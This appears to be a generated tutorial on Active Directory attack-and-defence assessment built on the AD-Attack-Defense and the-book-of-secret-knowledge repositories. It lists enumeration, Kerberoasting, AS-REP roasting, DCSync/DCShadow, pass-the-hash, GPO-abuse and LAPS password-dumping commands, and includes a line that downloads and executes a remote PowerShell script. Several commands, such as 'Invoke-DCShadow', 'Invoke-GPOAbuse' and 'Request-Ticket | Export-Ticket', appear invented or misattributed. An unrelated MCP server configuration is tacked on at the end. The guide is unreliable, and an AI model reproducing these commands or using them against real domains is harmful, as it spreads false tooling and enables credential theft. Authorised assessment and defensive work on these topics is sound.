How to Perform an Active Directory Attack and Defense Assessment Using the Book of Secret Knowledge

You can perform a comprehensive Active Directory attack and defense assessment by leveraging the curated AD-Attack-Defense repository linked within trimstray/the-book-of-secret-knowledge, which provides open-source tools for enumeration, exploitation, and hardening validation.

The trimstray/the-book-of-secret-knowledge repository serves as a master index of security resources, specifically pointing to the AD-Attack-Defense project for Active Directory assessments. This guide walks you through establishing a complete assessment workflow—from initial reconnaissance to defensive remediation—using only the tools and methodologies documented in these curated resources.

Setting Up the Assessment Environment

Begin by cloning the primary resource repository and installing the required PowerShell modules on a domain-joined Windows host.

First, clone the AD-Attack-Defense repository referenced in the curated list:

git clone https://github.com/infosecn1nja/AD-Attack-Defense.git
cd AD-Attack-Defense

Install PowerView and BloodHound modules to enable reconnaissance capabilities:

Install-Module -Name PowerView -Scope CurrentUser
Install-Module -Name BloodHound -Scope CurrentUser

Pull the latest SharpHound data collector for BloodHound ingestion:

iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1'))

For Linux-based enumeration, install complementary tools like ldapsearch and Impacket that are also cataloged in the-book-of-secret-knowledge under its Networking and Security sections.

Enumerating Active Directory Infrastructure

Effective Active Directory attack and defense assessment begins with comprehensive mapping of the domain topology, trust relationships, and privileged accounts.

Import PowerView to query domain controllers and forest trusts:

Import-Module PowerView
Get-NetDomain | Format-Table -AutoSize

Enumerate users with administrative privileges and service principal names (SPNs) vulnerable to Kerberoasting:

Get-NetUser -AdminCount 1 | Format-Table Name, SamAccountName, Enabled
Get-NetUser -SPN | Where-Object {$_.ServicePrincipalName -ne $null} | Format-Table SamAccountName, ServicePrincipalName

Collect the complete BloodHound dataset for graph-based analysis:

Invoke-BloodHound -CollectionMethod All -Domain YOURDOMAIN.local -ZipFileName bh.zip

From Linux hosts, dump raw LDAP entries to verify exposed attributes:

ldapsearch -x -h <dc-ip> -b "dc=example,dc=com" "(objectclass=*)" > ldap_dump.ldif

Executing Active Directory Exploitation Techniques

The AD-Attack-Defense repository documents specific attack vectors you should test in controlled environments to validate detection capabilities.

Kerberoasting: Extract service tickets for offline hash cracking using PowerView:

Get-NetUser -SPN | Request-Ticket | Export-Ticket

AS-REP Roasting: Target accounts with pre-authentication disabled:

Get-ASREPHash -User <username>

DCShadow and DCSync: Simulate rogue domain controller activity or pull password hashes:

Invoke-DCShadow
Get-DomainController

Pass-the-Hash: Utilize Impacket tools (referenced in the repository's tool index) to reuse captured NTLM hashes:

pth-smbclient -hashes <hash> //target/share

GPO Abuse: Identify writable Group Policy Objects for privilege escalation paths:

Invoke-GPOAbuse

Defensive Validation and Hardening

After offensive testing, pivot to defensive verification using the detection scripts located in the defense/ folder of the AD-Attack-Defense repository.

Verify Account Tiering by auditing Domain Admin membership:

Get-NetGroupMember -Group "Domain Admins" | Format-Table Name

Confirm LAPS (Local Administrator Password Solution) deployment across workstations:

Get-AdmPwdPassword -ComputerName * | Format-Table ComputerName, Password

Validate Credential Guard enforcement on Windows 10+ endpoints:

gpresult /h result.html

# Review output for CredentialGuardEnabled status

Enable and monitor critical Event IDs for authentication anomalies: 4624 (successful logon), 4625 (failed logon), 4768 (Kerberos TGT request), 4769 (Kerberos service ticket), and 4776 (NTLM authentication).

Detect BloodHound reconnaissance by monitoring abnormal LDAP queries:

Get-WinEvent -FilterHashtable @{LogName='Security';Id=4662} | Where-Object {$_.Message -match "ldap"}

Key Resources and File Paths

The trimstray/the-book-of-secret-knowledge repository indexes the following critical components for your assessment workflow:

• AD-Attack-Defense Repository: The primary resource for attack techniques and defensive scripts (referenced at line 998-1000 in the curated list)
• defense/ Directory: Contains GPO hardening checklists, LAPS verification scripts, and detection logic
• BloodHound/SharpHound: Graph-based AD analysis tools for visualizing attack paths
• Impacket: Python toolkit for low-level protocol operations and credential manipulation
• PowerView: PowerShell reconnaissance module for domain enumeration

Summary

• trimstray/the-book-of-secret-knowledge provides curated links to AD-Attack-Defense, enabling complete Active Directory assessment workflows
• Install PowerView, BloodHound, and SharpHound on domain-joined Windows hosts for comprehensive enumeration
• Execute controlled exploitation of Kerberoasting, AS-REP Roasting, and DCShadow to test detection capabilities
• Validate defensive controls including Account Tiering, LAPS deployment, and Credential Guard enforcement
• Monitor Event IDs 4624, 4625, 4768, 4769, and 4776 to detect authentication anomalies and BloodHound activity

Frequently Asked Questions

What specific repository does the-book-of-secret-knowledge recommend for AD assessments?

The curated list points to infosecn1nja/AD-Attack-Defense, a dedicated repository containing modern post-exploitation techniques, PowerShell modules, and defensive hardening scripts specifically designed for Active Directory environments.

Which PowerShell modules are essential for AD enumeration according to these resources?

You need PowerView for domain reconnaissance (user/group enumeration, trust mapping) and BloodHound with its SharpHound collector for graph-based attack path analysis. These are the primary modules referenced for comprehensive data collection.

How do I detect BloodHound reconnaissance activity in my domain?

Monitor Security Event ID 4662 for anomalous LDAP queries targeting sensitive attributes. BloodHound generates distinctive LDAP traffic patterns when enumerating object permissions and session information, which triggers these audit events when directory service access auditing is enabled.

Can I perform these assessments from a Linux workstation?

Yes. While PowerView requires Windows, the resources include Impacket for Python-based protocol operations and ldapsearch for raw LDAP queries against domain controllers. However, certain attacks like DCShadow and full BloodHound collection require Windows-native APIs.

{
  "mcpServers": {
    "instagit": {
      "command": "npx",
      "args": ["-y", "instagit@latest"]
    }
  }
}